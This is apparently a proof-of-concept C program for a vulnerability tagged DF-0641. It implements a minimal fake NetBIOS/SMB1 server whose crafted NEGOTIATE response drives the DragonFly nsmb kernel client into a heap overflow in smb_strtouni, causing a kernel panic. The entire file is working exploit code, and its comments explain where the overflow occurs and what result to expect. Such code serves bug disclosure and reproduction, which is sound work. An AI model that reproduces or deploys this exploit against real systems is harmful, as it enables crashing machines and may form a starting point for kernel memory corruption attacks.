DF-0641 / fakesmb.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 | /* * fakesmb.c -- minimal fake SMB server for DF-0641. * * Implements just enough of NetBIOS-over-TCP (RFC1002) + SMB1 to get the * DragonFly nsmb kernel client past NEGOTIATE with security mode * SMB_SM_USER (0x01) and NO SMB_SM_ENCRYPT. The client then calls * smb_smb_ssnsetup(), which overflows its own heap while BUILDING the * session-setup request (smb_smb.c:270 smb_strtouni) -- before this * server ever sees that request. So we never need to answer SETUP. * * Run as root (binds port 139 < 1024) on 127.0.0.1. * * cc -o fakesmb fakesmb.c && ./fakesmb */ #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <errno.h> static int readn(int fd, void *buf, size_t n); static void send_negotiate_response(int c); int main(void) { int s, c; struct sockaddr_in sa; int one = 1; signal(SIGPIPE, SIG_IGN); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("socket"); return 1; } setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(139); sa.sin_addr.s_addr = inet_addr("127.0.0.1"); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind 139"); return 1; } if (listen(s, 1) < 0) { perror("listen"); return 1; } fprintf(stderr, "[fakesmb] listening on 127.0.0.1:139\n"); for (;;) { unsigned char hdr[4]; c = accept(s, NULL, NULL); if (c < 0) { perror("accept"); continue; } fprintf(stderr, "[fakesmb] client connected\n"); /* 1. NetBIOS session request (type 0x81). Read its 4-byte * header + payload, then send positive response 0x82. */ if (readn(c, hdr, 4) != 0) { close(c); continue; } unsigned len = (hdr[1] << 16) | (hdr[2] << 8) | hdr[3]; fprintf(stderr, "[fakesmb] NB type=0x%02x len=%u\n", hdr[0], len); if (len) { unsigned char tmp[512]; if (len > sizeof(tmp)) len = sizeof(tmp); readn(c, tmp, len); /* discard called/calling names */ } unsigned char posresp[4] = { 0x82, 0x00, 0x00, 0x00 }; write(c, posresp, 4); fprintf(stderr, "[fakesmb] sent POSITIVE SESSION RESPONSE\n"); /* 2. SMB NEGOTIATE request (type 0x00 NB message). Read its * NB header, then the SMB request (discard). */ if (readn(c, hdr, 4) != 0) { close(c); continue; } unsigned smb_len = (hdr[1] << 16) | (hdr[2] << 8) | hdr[3]; fprintf(stderr, "[fakesmb] NB message type=0x%02x smb_len=%u\n", hdr[0], smb_len); if (smb_len) { unsigned char tmp[2048]; if (smb_len > sizeof(tmp)) smb_len = sizeof(tmp); readn(c, tmp, smb_len); /* discard negotiate request */ } /* 3. Send NEGOTIATE response: success, dialect NT LM 0.12, * security mode USER (0x01) with NO encrypt bit. */ send_negotiate_response(c); fprintf(stderr, "[fakesmb] sent NEGOTIATE response; client " "should now overflow in ssnsetup and panic.\n"); /* Hang around briefly; the client kernel will panic before * sending SETUP, or will try and we ignore it. */ sleep(3); close(c); } return 0; } static void send_negotiate_response(int c) { /* SMB1 header (32 bytes) + WordCount(17) + 17 words + ByteCount(0) */ unsigned char pkt[128]; int n = 0; /* --- SMB header --- */ pkt[n++] = 0xff; pkt[n++] = 'S'; pkt[n++] = 'M'; pkt[n++] = 'B'; pkt[n++] = 0x72; /* command = NEGOTIATE */ pkt[n++] = 0x00; /* errclass = SUCCESS */ pkt[n++] = 0x00; /* reserved */ pkt[n++] = 0x00; pkt[n++] = 0x00;/* serror = 0 */ pkt[n++] = 0x80; /* flags = reply */ pkt[n++] = 0x00; pkt[n++] = 0x00;/* flags2 = 0 */ pkt[n++] = 0x00; pkt[n++] = 0x00;/* pid_high */ int k; for (k = 0; k < 8; k++) pkt[n++] = 0; /* signature[0..7] */ pkt[n++] = 0x00; pkt[n++] = 0x00;/* reserved */ pkt[n++] = 0x00; pkt[n++] = 0x00;/* tid */ pkt[n++] = 0x00; pkt[n++] = 0x00;/* pid */ pkt[n++] = 0x00; pkt[n++] = 0x00;/* uid */ pkt[n++] = 0x00; pkt[n++] = 0x00;/* mid */ /* --- parameters --- */ pkt[n++] = 17; /* WordCount */ pkt[n++] = 7; pkt[n++] = 0; /* DialectIndex = 7 (NT LM 0.12) */ pkt[n++] = 0x01; /* SecurityMode = USER, no ENCRYPT */ pkt[n++] = 1; pkt[n++] = 0; /* MaxMpxCount */ pkt[n++] = 1; pkt[n++] = 0; /* MaxNumberVcs */ pkt[n++] = 0xff; pkt[n++] = 0xff; pkt[n++] = 0x00; pkt[n++] = 0x00; /* MaxBufferSize (0xffff) */ pkt[n++] = 0; pkt[n++] = 0; pkt[n++] = 0; pkt[n++] = 0; /* MaxRawSize */ pkt[n++] = 0; pkt[n++] = 0; pkt[n++] = 0; pkt[n++] = 0; /* SessionKey */ pkt[n++] = 0; pkt[n++] = 0; pkt[n++] = 0; pkt[n++] = 0; /* Capabilities */ for (k = 0; k < 8; k++) pkt[n++] = 0; /* SystemTime */ pkt[n++] = 0; pkt[n++] = 0; /* ServerTimeZone */ pkt[n++] = 0; /* ChallengeLength = 0 */ pkt[n++] = 0; pkt[n++] = 0; /* ByteCount = 0 */ /* NetBIOS session message header: type 0x00 + 3-byte BE length */ unsigned char nb[4]; nb[0] = 0x00; nb[1] = (n >> 16) & 0xff; nb[2] = (n >> 8) & 0xff; nb[3] = n & 0xff; write(c, nb, 4); write(c, pkt, n); fprintf(stderr, "[fakesmb] negotiate response: %d SMB bytes\n", n); } static int readn(int fd, void *vbuf, size_t n) { unsigned char *p = vbuf; size_t got = 0; while (got < n) { ssize_t r = read(fd, p + got, n - got); if (r <= 0) return -1; got += r; } return 0; } |